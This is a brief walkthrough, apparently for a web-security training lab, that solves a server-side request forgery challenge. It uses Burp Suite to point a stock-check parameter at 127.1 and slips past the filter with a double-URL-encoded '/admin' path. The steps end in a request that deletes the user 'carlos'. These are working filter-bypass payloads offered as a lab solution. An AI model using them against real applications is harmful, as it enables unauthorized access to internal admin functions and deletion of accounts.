Solution:
- Trun on Burpsuite, access the lab go to the product section then stock check .
- From Burp history send it to repeter.
- Change the stcokApi=http://localhost
(It Blocks So we have to change it like 127.0.0.1, but it also blocked so we use 127.1 → it works)
- Now go do /admin ( it also blocks so we have to double url encode )
stockApi=http://127.1/%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65- In below in response see:
href="/admin/delete?username=carlos- Now change it to:
stockApi=http://127.1/%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65/delete?username=carlosLab Solved.